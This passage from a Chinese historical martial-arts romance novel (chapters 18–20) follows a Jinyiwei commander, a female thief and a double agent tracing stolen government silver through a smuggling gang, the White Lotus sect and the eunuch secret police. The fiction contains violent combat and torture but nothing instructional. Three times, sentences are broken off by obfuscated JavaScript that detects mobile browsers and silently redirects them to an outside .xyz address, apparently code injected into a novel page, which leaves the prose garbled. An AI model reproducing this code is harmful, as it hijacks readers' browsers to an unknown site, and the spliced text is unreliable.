几声痛呼传来,伴着颈骨断裂的声响,程墨亭站在一处阴影下,拍了拍手上泥尘:“聂大人就算停职,也未免太低调了些。” 阴影里踉跄冲出个肥硕的身影,崔泓官袍散乱,怀中还搂着个天香苑的姑娘,在看清聂未晨的瞬间,脸上血色尽褪:“聂……聂大人……” “崔大人,别来无恙?”聂未晨目光扫过漕船各处,似观光一般,“东厂的银子,漕帮的船,您这是要给宁王贺寿?” “不是不是不是,误会……误会……” 聂未晨火铳抵上了崔泓的眉心:“三年前在扬州,你断我锦衣卫七条人命,也是误会?” “聂未晨!”梁若鸢踏着桅杆飞身落下,“留活口!他还有……” 崔泓趁机将怀中女子推向火铳,程墨亭闲闲挡在他面前,笑意温润,手中薄刃挑断了那姑娘肩上衣带,落出满地盐引票据。 “精彩。” 他抽出腰间折扇,蹲下挑起一张盐引,“原来崔大人把官银熔了铸成了私盐,天香苑的姑娘们当信使……”他忽然收声,侧耳细听,“啧,东厂的狗来得真快。” 河岸上的火把飘上了水面,十余艘快船围向漕船,聂未晨将梁若鸢护在身后,却见她唇角勾起一抹笑来:“大人别紧张。” 18. 适可而止 “抓住他们!”冯玉尖细的嗓音在夜风中显得格外刺耳。 崔泓趁机拉着姑娘跳进水里,两人爬上了一艘刚刚驶近的小船:“快!那个女贼!就在上面!” 程墨亭眯了一下眼睛,轻笑一声,摇起扇子来,终究没看出这东厂狗腿子到底长什么模样:“聂大人的仇家类型倒是丰富,只是这档次……”三支弩箭擦着他鬓角飞过,“啧,连暗器用的都是坊间三文钱一捆的劣等货。” 聂未晨闻言侧目:“程老板这些年周旋于漕帮和盐商之间,连白莲教都认得你腰上那块玄铁令。”他稍稍逼近半步,吐字如冰,“这般长袖善舞,还计较什么雅观?” 水面传来机括咬合的咔哒声,程墨亭折扇展开,十二枚穿骨钉在扇骨里泛起幽光。 “聂大人这是在激我?”他微微偏头,看向河面逼近的流萤火把,嗓音低缓,“可惜啊,我这人,最受不得激,尤其是……”他屈指一弹,扇骨中寒芒骤闪,“看见东厂小狗的时候。” 暗器破空,水面传来几声闷哼,数点流萤落入水中。 梁若鸢一把拽了聂未晨往船尾跑:“大人,再斗嘴,狗咬脚后跟了。” 聂未晨还未反应,转身一个踉跄:“乔姑娘倒是热心,莫不是投靠了谁,趁机挟持我?” 程墨亭折扇一收,扇骨击落两道流矢,轻笑道:“挟持?我看梁姑娘分明是心疼了。”他侧生让过一道刀光,语气戏谑,“聂大人若是不领情,不如跟我走?漕帮的酒可比东厂的刑具好喝。” 聂未晨反手握紧梁若鸢的手腕,拔刀挑飞数支弩箭:“程老板的嘴,比东厂的番子能颠倒黑白。”他回望梁若鸢,忽然一笑,“是吧,梁姑娘?” 梁若鸢一晃神,脚下踩空,聂未晨将她揽起:“别紧张。” 程墨亭扇骨敲在嘴上:“呀,一不小心坏了梁姑娘的好事。” 梁若鸢牙齿轻咬嘴里的肉,鼓着气:“程老板认错了,我不姓梁。” 聂未晨臂弯一空,回头看见她一个纵身掠向远处河岸,漂浮的火光纷纷落入水中,他匆忙追去:“程老板真是好算计。” 程墨亭“啧”了一声:“你们打情骂俏又与我何干?” 三人落在生满芦苇的河岸,忽见数十火把亮起,破雾而来一个粗旷的声音:“哪个不长眼的?敢闯我漕帮水寨?” 聂未晨追上梁若鸢,将她拽到自己怀里,闭了闭眼,目现凶光:“……程墨亭!” 程墨亭在他身旁停住,无辜摊手:“这个真不是我安排的。” 梁若鸢轻声感叹:“看来今晚的酒不喝不行了……” 夜色如墨,漕帮水寨灯火通明,帮众个个持刀,将三人带回。 程墨亭斜倚在水寨大堂红木柱上,指尖轻敲扇骨,笑意慵懒:“赵帮主,您这漕船走南闯北,可曾听说过……官银走水路的事儿?” 这帮主名唤赵擎,浓眉一拧,酒碗重重一放,探出身子细瞧:“这是程老板?什么意思?我漕帮虽不是什么名门正派,但私运官银可是杀头的罪!我赵某人还不至于眼皮子浅到这份上!” 程墨亭眼尾微挑,笑意更深:“帮主别恼,我这不是听说最近道上不太平,怕有人借您的船……做些见不得光的买卖?” 赵擎冷哼一声:“谁敢?!” 程墨亭笑而不语,目光若有似无地扫过席间几个神色微变的堂主。 梁若鸢指尖轻抚鬓边珠钗,故作娇弱地轻咳两声,对赵擎盈盈一礼:“赵帮主,今夜风急浪大,行船恐有危险,不知可否容小女子在寨中借宿一晚?” 赵擎审视道:“这位娘子是……?” 梁若鸢端身低眸,吐字动作化作千金小姐的姿态:“小女子姓沈,是家父是苏州盐商,刚刚接管家里的生意,今日随船到此。” 赵擎当即拍板:“沈小姐放心!我这就让人收拾两间干净的厢房!” 聂未晨抱刀而立,冷声开口:“一间便可。” 梁若鸢眼波微转,故作惊讶地掩唇:“聂护卫,虽说爹爹要你随身保护,可这……于礼不合吧?” 聂未晨面不改色:“江湖险恶,属下必须贴身保护小姐安全。” 赵擎哈哈大笑:“这位护卫倒是尽职!好,就依你们!” 程墨亭一笑,颇有意味,端起桌上酒碗:“来,帮主豪爽,我们喝几壶,正好聊聊我那些茶叶的事情。” 赵擎眼中一亮:“好!程老板有多少货,我们好好聊聊!”他起身示意帮众带梁若鸢离开,将程墨亭请入里间。 聂未晨扫过一眼各处构造,跟在梁若鸢身侧,江风裹着水汽扑面而来,数十艘乌篷船静泊岸边,船身吃水极深,船与船之间以粗麻绳相连,绳索上褪色的红布条在风中猎猎作响。 水寨主楼高三层,木质吊脚,檐角飞翘,楼前空地几堆篝火,外围隐约可见一圈栅栏,皆是削尖的木桩,围着生锈的铁链,江鱼和铁锈的气味随风而来。 厢房门一关,梁若鸢瞬间收了那副小姐模样,懒洋洋往榻上一靠,挑眉看向聂未晨:“聂大人,你这借口找得……未免太迫不及待?” 聂未晨反手锁上门窗,嗓音低沉:“乔姑娘方才在席间,故意让那内鬼注意到你,不也是迫不及待?” 她轻笑,指尖绕着一缕发丝,玩味道:“我若不引人注目,怎么引蛇出洞?” 窗外一阵脚步声,极轻,两人对视一眼,聂未晨吹灭烛火,将梁若鸢拉至身后。 黑暗中,她的右臂紧贴着他,能清晰感觉到他的心跳和呼吸。 “聂大人,”她压低嗓音,带着几分戏谑,“你这算不算假公济私?” 他伸手将她抱在身前,把她的脸按在自己心口处,双臂微微收紧,紧盯着窗户,声音近乎耳语:“……别出声。” 窗外,黑影逼近,梁若鸢发间唯一一支珠翠轻轻晃动,忽然整个人倚在他身上:“这水寨风大,我有些冷。”她嗓音轻软,故意抱住他。 聂未晨眉峰微挑,没看她,扯了榻上薄毯裹在她肩上:“乔姑娘,有些戏码,适可而止。” 她轻笑,凑近他耳边,悄声道:“怎么,大人是怕被人看出……你其实很吃这一套?” 聂未晨眸光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869666|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一暗,扣住她后颈,逼他抬起头来,低声道:“只吃你……这一套。” 梁若鸢一怔,却见他目光盯向窗扇,松开捏她的手,将窗沿挑开一条缝隙,指了指:“看外面。” 一个鬼鬼祟祟的帮众正偷偷往一艘货船上搬箱子,箱角隐约露出官银的印记。 她唇角一勾,指尖轻轻划过他的掌心:“看来,我们钓到鱼了。” 聂未晨五指收拢,没让她抽回手:“……别乱跑。” 梁若鸢笑意更甚:“聂大人这是……担心我?” 他握紧她的手腕,拇指指腹抚过她腕上齿痕:“担心你坏我大事。” 梁若鸢轻笑,反手扣住他的手腕,指甲在他掌心不轻不重地一刮:“聂大人,你这借口……越来越敷衍了。”她忽然贴近,气息拂过他耳际,“不如直说,你就是想管着我?” 聂未晨眸光一暗,正欲开口,远处传来几声哨响,似是某种暗号? 两人对视一眼,同时松手,朝声源处飞掠而去。 货船阴影中,一靛蓝衣衫的帮众正将一箱官银推向接应的舢板。 梁若鸢身影一闪,袖中小刀直取对方脖颈:“这位兄台,深更半夜搬东西,不累么?” 那人猛地回头,脸上刀疤狰狞,竟不躲闪,反而狞笑一声:“等的就是你们!” 聂未晨刀锋已至,寒光乍现,却听芦苇荡中响起一片机括声,数十支弩箭破空而来。 “乔乔!”聂未晨旋身将她护在怀中,刀花挽成密不透风的网,箭矢叮当落地,那刀疤脸趁机跳上了舢板。 梁若鸢挣开他,拔腿就要去追,江面瞬间炸开一道白光,烟雾中,一队白袍人踏水而来,袖口莲纹翻飞。 “白莲教?!”聂未晨大惊,伸手去抓,却只撕下她右手半幅袖角。 烟雾在眼前散去,江面空余涟漪,梁若鸢原先站立处,一支银簪落在地上,簪头珠花染血。 聂未晨将簪子拾起,死死攥住,指节渐渐泛白。 程墨亭从阴影中踱出,折扇展开,扇面墨莲竟与白莲教纹样分毫不差,他望着聂未晨猩红的眼角,轻笑道:“聂大人,现在……要合作么?” 聂未晨缓缓抬头,眼底泛起血色,刀锋直指他颈项:“你竟与白莲教勾结?” 程墨亭不避不让,扇骨弹出一截薄刃,堪堪架住钢刀:“聂大人不妨猜猜,我这扇上莲纹,为何与白莲教圣物一模一样?"他忽然压低嗓音,“三年前扬州漕运案,你当真以为只是东厂的手笔?” 聂未晨声音嘶哑:“她在哪?” “分舵地牢,明日午时祭旗。”程墨亭忽然翻腕,扇面莲纹竟剥落一层,透出底下鎏金官印,“但我更好奇……”他指尖轻弹,一枚白玉令牌飞起,落入聂未晨掌心,“梁姑娘身上为何会有兵符副令?" 更声敲响,程墨亭退入阴影中:“寅时三刻,漕帮旧码头见。”他衣袂翻飞,露出心口一道陈年箭疤,与白莲教刑堂堂主当年的致命伤分毫不差。 聂未晨握紧令牌,触到的暗纹竟是一行小字:“白莲祭坛,水下有路。” 19. 天作之合 “穿着不难受?” 更深露重,天香苑楼阁檐角蹲兽如鬼魅森然,朱红灯笼垂挂檐下,江风吹拂,晃动不止。 楼内丝竹靡靡,歌姬软语混着酒香溢出窗外,散在雾气氤氲的江面上。 白莲教众堂主齐聚后院刑堂,“妖女”柳无霜冷眸扫过众人,指尖轻敲座椅扶手:“梁若鸢身上没有那半枚铜钱,只有半块飞鱼符和一个象牙牌子,那必是程墨亭那厮抢先一步夺走了!” 掌印堂主冷哼一声:“程墨亭那叛徒,先前仗着先堂主遗物耀武扬威,如今还敢染指教中秘宝?依教规,当断其四肢,废其武功!” 执事堂主沉吟道:“可就怕他与朝廷有所勾结,贸然动手,恐惹祸端。” 柳无霜眼中闪过杀意:“先不管程墨亭,这女贼明目张胆地跟在锦衣卫身边,狗皇帝定是与这女贼有什么诡计,她若不死,后患无穷,明日午时,处以‘千莲噬心’之刑,以儆效尤!” 议间,堂外响起打斗声,一教众仓惶闯入:“不好了,冯玉那狗贼,带着东厂的人杀进来了!漕帮也有人混在其中,前堂已乱!” 柳无霜拍案怒道:“冯玉这种狗腿子,也敢闯我圣教?!” 前院戏台上,花旦水袖挥出,三尺白绫中寒光乍现。 台下几个漕帮帮众喉间绽开血花,冯玉一剑劈开近前的描金屏风。 “找!”他挑飞一盏琉璃灯,火油泼在一旁竹帘上,“要活的!” 火势乍起,顺着楼阁梁柱蔓延,一幅幅描着春宫图的隔断在火光下通明清晰。 刑堂暗室,梁若鸢腕间镣铐几乎勒进皮肉,墙角青铜灯树投下斑驳光影,刑堂堂主张无正用一柄小刀慢条斯理地挑开她肩头一片染血的衣料。 “姑娘这身细皮嫩肉……”刀尖忽然下压,在锁骨划出一道血线,“经得起几刀?” 梁若鸢忍痛一笑,锁链“哗”地一声落在地上,那堂主霎时惊到,她旋身一踢,整座灯树砸向他。 火光倾泻,灯油滚汤,张无正捂脸惨嚎,踉跄撞在墙边。 她抄起地上锁链,绞住他的脖颈,铁锁重新拷紧,将他牢牢锁在红木柱上:“狗狗乖。” 张无正青筋暴起,挣扎着去抓腰间的短刀,梁若鸢一脚踹中他手腕,刀刃落地,她双手一拧,锁链骤然收紧,张无正双目圆睁,喉骨碎裂,“砰”地倒在地上。 她吓了一跳,看着张无正扭曲的面容打了个寒颤,用染血的衣袖擦了擦脸,唇角留下一道血痕。 “有怪莫怪,我不是故意的。”她喃喃自语,声音有些发颤,踹开后窗,纵身跃下。 夜风呼啸,她落在□□回廊一处檐角上,看见前院冯玉率众与白莲教徒缠斗,刀光剑影,血溅红栏。 东厂番子封锁了各处出口,雁翎剑寒光闪动,似在在等着什么人。 梁若鸢心念一转:“东厂这是……要活捉我?程墨亭……?” 一道黑影掠过屋脊,程墨亭折扇轻摇,黑莲之下鎏金官印若隐若现,他似笑非笑,瞥她一眼,忽又飞掠离开。 梁若鸢迈了一步,收了姿态,决定不追:“不行,怕是有诈……”她纵身跃上高墙,落在一处街角。 柳无霜怒喝声自暖阁中传来:“给我搜!” 她心头一凛,兵符副令若落在他们手里,后果不堪设想。 她足尖一点,掠向江岸,江畔芦苇如浪,杀机暗伏,她刚站定,颈后一凉,一柄雁翎剑抵在她后心处。 “姑娘,督公有请。”东厂档头阴测测的声音在耳边响起。 梁若鸢眸光一冷,袖中小刀滑入掌心,她正欲反击,忽听“嗤”的一声轻响,那档头喉间多了一枚铜钱,瞬间倒地。 程墨亭立于不远处一方断垣上,折扇轻摇:“东厂的小狗,也配动我的猎物?”他轻笑一声,扇骨一展,数枚银镖射出,芦苇中传来数声重物倒地的闷响。 梁若鸢警惕后退:“程墨亭,你究竟是谁的人?” 程墨亭未答,将折扇一合,指向江面,一艘乌篷船无声驶来,船头老者手持两半铜钱信物,声音苍老沙哑:“上船,或者死。” 江风呜咽,乌篷船在芦苇荡中轻轻摇晃,梁若鸢盯着程墨亭,手中刀刃仍未收起,又问:“你是陛下的人?” 扇面黑莲纹下,鎏金官印在月光下泛着冷光,他淡淡一笑:“三年前,我本该死在漕运案里。” 船头老者咳嗽一声,沙哑道:“姑娘还是上船吧,再耽搁,东厂和白莲教的人就都该追上来了。” 梁若鸢犹豫一瞬,终是跃上船板,乌篷船滑入鳞波中,江雾渐浓,恰好遮掩了行迹。 程墨亭从怀中取出一封密信,递到梁若鸢眼前:“三年前,我奉命潜入白莲教,查探官银失窃一事,结果发现,不止漕帮和白莲教参与其中……” 梁若鸢展开密信,上面详细记载了十四年前科举舞弊案的蛛丝马迹,盐税账目被篡改,官银流向不明,而最关键的那批证物,在案发后不翼而飞。 “所以,你要找的不仅是白莲教的罪证,还有当年那批官银?”她抬眼看他,眼中闪过一瞬希冀。 程墨亭摇扇点头:“那批银子,是铁证。” 船头老者插话道:“银子不在白莲教手里,也不在漕帮。” “那在哪儿?”梁若鸢皱眉。 老者缓缓摊开手掌,掌心躺着那枚断裂的铜钱:“当年经手此事的,除了白莲教和漕帮,还有一个人……苏州织造,赵世安。” 船舱内,烛火摇曳,梁若鸢盯着那铜钱,指尖微微发颤。 “赵世安……”她低声自语,眼中寒芒骤现。 程墨亭察觉她神色有异,眉梢微挑:“你认识他?” “何止认识。”梁若鸢冷声道,“十四年前,我父亲,苏州通判梁渝,就是被他构陷入狱,家破人亡……” 船头老者闻言,眼中浑浊忽然收尽:“你是梁小姐?!” 梁若鸢指尖勾弄手中短刃:“当年我父亲发现盐税账目有异,上书朝廷,却反被诬陷贪腐……家产抄没,男丁流放,女眷官卖为奴……我被牙婆拖去教坊司那晚,咬穿了她耳朵才逃出来。” 程墨亭折扇敲了敲掌心:“所以你要找的不只是证物,还有……复仇?” 梁若鸢抬眸,眼中泪光分明:“我要他们……血债血偿……” 江雾深处,忽有火光逼近,老者低声道:“是东厂哨船。” 程墨亭拽住梁若鸢的手腕:“梁姑娘的感受我能理解,但眼下不是意气用事的时候,赵世安背后牵扯的势力,比你想象的可怕。” 梁若鸢挣开他,从怀中掏出兵符副令拍在桌上:“陛下给我这个,不就是让我查个水落石出吗?既然如此……”她抓起那半枚铜钱,“新仇旧账,一起算!” 船外哨箭破空而来,程墨亭叹了口气,掀开舱板暗格:“那就先活过今晚。”暗格里,整整齐齐码开十余把淬毒的袖箭。 老者操起船桨,乌篷船猛地调头,扎进芦苇荡暗处,雾霭中,隐约可见数艘快船包抄而来,船头是东厂番子,鱼龙服金线若隐若现。 梁若鸢抓起两把袖箭,唇边笑意狠绝:“第一次用,拿他们试试刀。” “赵世安如今已是当朝户部左侍郎,为官清正,办事稳妥,深受陛下赏识。”程墨亭合上折扇,眸光冷冽。 梁若鸢握紧兵符副令,沉声道:“你要我做什么?” “联手。”程墨亭轻笑,直视她,“找到那批官银,你我的身份做搭档,也算天作之合。” 芦苇荡中,东厂的快船已然逼近,火把映在水面上,东厂档头一声令下,箭雨破空而来。 程墨亭扇骨击落数支箭矢,梁若鸢以毒箭回敬,趁着对方躲闪,她抄起船板上一张渔网,朝追兵甩了过去。 渔网裹着倒钩,缠住了最前方哨船的桅杆,她借力一拽,整艘船骤然倾斜,几名番子惊呼落水。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881332|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “漂亮!” 程墨亭双眸一亮,手中折扇转开,三枚银镖疾射而出,正中后方船只帆索,船帆坠落,阻了追兵去路。 老者趁机猛划船桨,乌篷船冲入更深的芦苇丛中。 夜雾愈加浓重,追兵呼喝声渐远,梁若鸢额前碎发不知何时沾湿,抬手擦了擦,坐下喘了口气。 程墨亭神色如常,从袖中取出一张羊皮地图,展在烛火下,“赵世安虽在京城,但那批官银的线索,却在通州。”他指尖点向地图上一处显眼的漕运码头,“十四年前,最后经手那批银子的,是通州漕运司的一名书吏。” 乌篷船一顿,稳稳靠岸,撑船的老者刚放下船桨,一道黑影飞掠而下,瞬间冲进船蓬里,铁钳般的手直接扣在程墨亭喉前,将他一把拖出,狠狠掼在泥泞的河岸上。 "聂未晨?!"梁若鸢目瞪口呆。 残旧的渡口孤灯摇曳,聂未晨眼底猩红,一拳砸在程墨亭脸上:“你竟敢拿她当饵?!” 程墨亭咬牙忍痛,折扇在聂未晨脚下“啪”地断开,他仍笑得玩世不恭:“聂大人……咳咳……这不是……计划所需……” “计划?”聂未晨又是一拳,指节沾了血,“白莲教的刑堂七十二道酷刑,若她……” “大人!住手!”梁若鸢忽然抓住他扬起的拳头。 聂未晨浑身一僵,湿透的衣袖下,他手臂筋肉绷紧,却在她指尖碰到的一瞬泄了力道。 梁若鸢趁机将他拉开,挤进两人之间:“是我同意的。” “你……”聂未晨喉结动了动,似咽下了一堆话,忽然别过脸去,“你明知白莲教……” 他话尾哽在喉间,梁若鸢发现他腰间缠着半截染血的绷带,该不会……他去救她了……是一路杀出重围赶来的…… 老者将船套好,走近道:“聂大人辛苦,我随到寒舍暂避吧。”他说着便往林深处走,并未等着任何人回应。 他提着油灯,身影在林间时隐时现,梁若鸢快步跟上,眼角余光瞥见聂未晨仍站在原地,月色描出他侧脸冷硬的轮廓。 “还不走?”她回头挑眉。 聂未晨低眸不答,弯腰拾起那柄折断的扇子,指尖在官印上摩挲了一下,甩手扔给程墨亭:“你的东西。” 程墨亭接住残扇,笑得意味深长:“聂大人不继续打了?” “等事情了结……”聂未晨面无表情,冷冷说道,夜行服衣摆从梁若鸢手边掠过,带起一阵血味的风。 三间茅屋隐在竹林中,老者推开老旧的木门,屋内竟别有洞天。 厅堂地下藏着整间石室,墙上挂满了漕运路线图,案几上堆着账册,最显眼处有一个沙盘,插满代表各方势力的小旗。 程墨亭揉了揉脸上淤青,借口出去放哨,老者一拜,随着出去,石室只剩两人,聂未晨冷脸坐下,给壁炉里的火堆添柴,夜行服下摆还在滴水。 梁若鸢抱臂靠在墙角神龛旁,肆无忌惮地打量他:“锦衣卫是都这么爱生闷气的?” 聂未晨往火堆里扔了根柴,火星“砰”炸开。 她眯起眼,忽然“嘶”了一声,捂住右臂,果然那人即刻转身,却在看到她完好无损的手臂时,目光一沉,起身往外走。 她闪身拦住他,指尖抵在他胸前:“聂大人,你这衣裳……都湿透了。” 她手指顺着衣服上一道金线暗绣缓缓下滑,在腰封处轻轻一勾:“穿着不难受?” 聂未晨呼吸一滞,扣住她的手:“乔姑娘……” “嗯?”她仰起头,眼中带着狡黠的光。 他将她拉近,俯在她耳畔低语:“你确定要在这个时候招惹我?” 梁若鸢眼中狡黠渐收,柔柔一笑,不退,膝头抵上他的腿:“怎么?指挥使大人只会放狠话?” 他不动,眼底血色未消,她指尖勾着他腰间革带,凑近道:“要不你闻闻我身上可有程墨亭的味道?” 20. 十字星纹 壁炉里,火星噼啪爆响,聂未晨攥着她的手腕拉了她转身,抵在沙盘边缘。 木质城池模型插着黑旗标记,边缘城墙皆是石雕细制,硬硬硌在她腰后,聂未晨指尖捏起她的下巴:“程墨亭给你灌了什么迷魂汤?白莲教淬毒的穿骨钉没有让你吸取教训?” 梁若鸢轻轻握了他腰侧伤处,趁他吃痛反身一推,两人调转了位置。 她指尖划过模型沙盘里代表漕帮的蓝旗,沾了案上朱砂,将蓝色旗杆捏断:“聂大人可知,三年前扬州漕运案中那批官银上,有些银子隐约还有弘治年的火漆印?" 聂未晨一惊,那是当年科举舞弊案中失踪官银的标记……他擒住她作乱的手,按在沙盘上,将整个漕运路线碾得面目全非:“所以……你就乐意陪他冒险?” “吃醋了?”梁若鸢舔了他虎口伤处渗出的血,感受到他身上肌肉骤然绷紧,“程墨亭查到通州漕运司书吏……” 石室外传来枯枝断裂声,聂未晨猛地将她拽到身后,警惕着拾起放在壁炉前的刀。 梁若鸢从身后将他抱住,脸埋在他背后轻笑,呼吸烫得他脊背发麻:“乔乔……放开……” “紧张什么?那老头在生火,他是程墨亭的人……”她侧倚在他背上:“你心跳好快。” 刀刃“咣”地砸在地上,聂未晨转身掐住她的腰将她提上案几,账册瞬间散了一地。 他盯着她衣领处若隐若现的淤青,那是白莲教铁莲花留下的痕迹,锁骨处一道伤口令他眼中一痛:“你确定要招惹我?” 梁若鸢勾开他染血的前襟,露出锁骨一侧新鲜的刀伤:“指挥使大人冒死闯刑堂的时候,就没想过……”她吻落在他伤侧半寸处,“我早和程墨亭安排好了退路?” “气我就这么好玩儿吗?”聂未晨狠狠吻住她,斥骂在喘息中含糊,“没心没肺的女人。”她反客为主咬了他舌尖,血腥气在唇齿间蔓延,他摸到了她后腰暗袋里两半铜钱。 “十四年前……通州漕运司的书吏……”梁若鸢喘息着推开他,将铜钱信物塞进他掌心里,“如今也不知在何处……这是白莲教的秘宝。”她指尖在他胸口画了个“赵”字,“户部左侍郎……” “赵世安。”聂未晨接话时眼神已恢复清明,拇指擦过她的唇瓣,“你是不是早知道赵世安是幕后黑手?” 梁若鸢解下他身上湿衣,扯开他腰间染血的绷带,从腰后暗袋中摸出药来,指尖粘了药膏重重按进他的伤处:“现在,指挥使大人还觉得我是喝了迷魂汤吗?” 闷哼声湮没在再度交缠的呼吸中,打翻的药糊混着血色在从通州到江南的整条航线上淌开。 梁若鸢指尖打着圈,抚在他后颈穴位上,轻轻一按,他浑身骤然绷紧,眼底闪过一丝不可置信,意识昏沉下坠。 “你……”他咬牙低喝,却抵不住药性,眼前一阵阵发黑。 她仰起头,在他唇上轻轻一啄,低柔似哄骗,却是不容抗拒的态度:“睡吧,大人。” 聂未晨的手死死攥住她的腕骨,力道大得似要捏碎她,可药效迅猛,他指节一点点松开,最终双手垂落,整个人压在她身上。 梁若鸢将他扶起,用尽力气拖到软榻上,指尖在他紧蹙的眉间轻轻抚过,拉起盖毯盖在他身上:“别追来……把伤养好,否则,我真要生气了。” 火光在他脸上晃动,他呼吸静谧平稳,似睡着了一般,她解下颈上半枚鱼佩,将红绳一圈圈套在他的手腕上,起身从案几上拾起那两半铜钱,指尖抚过上面一圈暗纹,眼底寒光一闪而逝。 石室暗门滑开,程墨亭倚在茅屋门边,折扇轻摇,脸上淤青未消,却笑得惬意:“梁姑娘舍得走了?” 梁若鸢没理他,径直走向门外,在踏出房门前顿了顿,对一旁的老者说道:“他若提前醒了,就告诉他……” 她唇角微勾,眼底却无半分笑意,“敢追来,我就打断他的腿。” 老者躬身应是,程墨亭在一旁听得挑眉,残扇“啪”地一合,他将扇叶勉强重新固定,似笑非笑:“乔姑娘好狠的心啊。” 梁若鸢瞥他一眼,走出门去:“少废话,赶紧。” 两人身影消失在竹林深处,石室内,聂未晨无意识地攥紧了拳头。 …… 通州木场弥漫着松木与桐油的气息,库房门半掩着,发出诡异的“吱呀”声,蓝羽手握钢刀,将门一脚踢开,满地凌乱残破的账簿纸页在日光下字迹清晰可见。 燕十拾起一页撕剩的残纸,发现边缘的焦痕:“火漆印的残渣……曹玉跑得匆忙。” “不止。”蓝羽用刀尖挑起角落里的铁屑,碎屑经过屋顶破洞一道落光时泛起青蓝色,“火铳膛线的打磨屑。”他用刀掀翻地面上整摞账册,地面上几道新鲜的拖痕清晰可见,间距三尺三寸,正是官银箱的标准尺寸。 两人顺着拖痕走到后院废弃的井台,燕十拽了一下生锈的轱辘,绳索上染了斑驳暗红的血渍。 井下回响空洞,蓝羽甩下火折子,照见井壁上人工开凿的暗格。 “空的?”燕十蹙眉道。 蓝羽将刀伸下去,刀身反射的光斑在井底某处一闪,半枚铜钱嵌在井壁石缝里:“那是什么?” “是漕运司。”燕十将绳索捆在自己身上,踩着井壁一点点落下去,拔下那半枚铜钱细看,唇角微勾,“像是故意留线索引我们去……看来有人坐不住了。” …… 通州漕运司衙门前,书吏周显,正大声呵斥着在搬箱子的运工。 蓝羽远远盯着他虎口处醒目的刺青,蹙眉凝思:“赤莲标记似在哪里见过?” 周显看着运工将箱子搬上船,迎上前来,那副模样,与十四年前记录的“文弱书生”截然不同,岁数相当,但显然不是同一个人。 “二位这是……查档?”周显看过他们腰间牙牌,擦着汗赔笑,“十四年前的旧案需知府手令……”话未尽,燕十刀鞘抵住他后腰,蓝羽慢条斯理地展开从木场找到的运单,末尾赫然盖着周显的私章:“去年腊月,大人往南昌运的可不是漕粮啊。” 周显眼神一闪,忽然扯出颈间银哨吹响,屋檐上翻下几个漕帮打扮的汉子,腰间别着东厂的制式臂弩。 “果然都串通了!”燕十旋身劈落三支弩箭,蓝羽趁机擒住周显,从他袖中摸出一张地契,竟是一处南昌别院。 混乱中,周显忽然口吐黑血,脖颈上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889212|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浮出蛛网青斑。 “东厂的牵机毒……”蓝羽松开迅速僵硬的尸体,“看来我们触到真痛处了。” 燕十斩下几名漕帮汉子,奔进府衙里,一脚踹开了半开的厢房暗门。 新制的户部封箱堆摞在墙边,他用刀尖撬开,里面塞满了稻草。 衙门不大,蓝羽巡视了一圈,运工衙役皆已退逃,他跨进门来,燕十侧开让他看。 蓝羽眸中闪过一丝怒火:“这些可以带回诏狱,待他们落网,这便是他们每日的饭食。” 燕十挑眉摇头:“不不不,浪费柴火,直接塞嘴里,生吃就好了。” 两人相视一笑,眸中寒光如利刃相交。 蓝羽用刀划开箱底夹层,散落的沙土里混着几粒银渣,正是弘治年官银的十字星纹淬痕。 “漕运司只是个幌子。”燕十捻着银渣细看,“真的官银早就……” 窗外传来机括声,两人瞬间扑倒,厢房整面外墙轰然倒塌。 烟尘中,数十名腰佩南昌卫所令牌的锦衣卫持刀相向,而领头的却是个东厂挡头:“奉曹公公令,送二位去见聂未晨!” 蓝羽甩出身上最后三枚飞镖,拉起燕十撞破后窗遁走。 远处漕河上,一艘官船正缓缓起锚,宁王藩旗在船头猎猎飘扬,甲板上闪过曹玉的身影,绛色衣角迎风招展。 “追!”燕十跃上码头,蓝羽紧随,将他一把拽回。 漕船吃水线极深,船舷压着的水痕里,隐约露出斑驳的朱漆,那是官银箱碰撞留下的痕迹。 “让船走。”蓝羽盯着渐远的帆影,神色平静,“现在我们知道,宁王的火器是怎么运出通州的了。”他从怀中取出那半铜钱,指尖抚过残断的边缘,断口锋利,参差不齐,像是被人刻意掰断,“我们去找找这另一半。” 蓝羽将铜钱对着日光举高,残存的“弘治通宝”四字方正硬朗,断口处隐约可见一道极细的刻痕,一条蛇缠绕着半朵莲花。 “像白莲教的暗记?”燕十眯起眼。 蓝羽摇头:“不全是。”他指尖摩挲着那道刻痕,“蛇缠莲,是漕帮的‘蛇莲令’,只有帮主亲信才有的信物。” 燕十一笑:“所以曹玉不光是东厂的人,还和漕帮有勾结?” “不止。”蓝羽眸光渐深,“这半枚铜钱不是留给我们的,是留给‘他’的。” “他?” 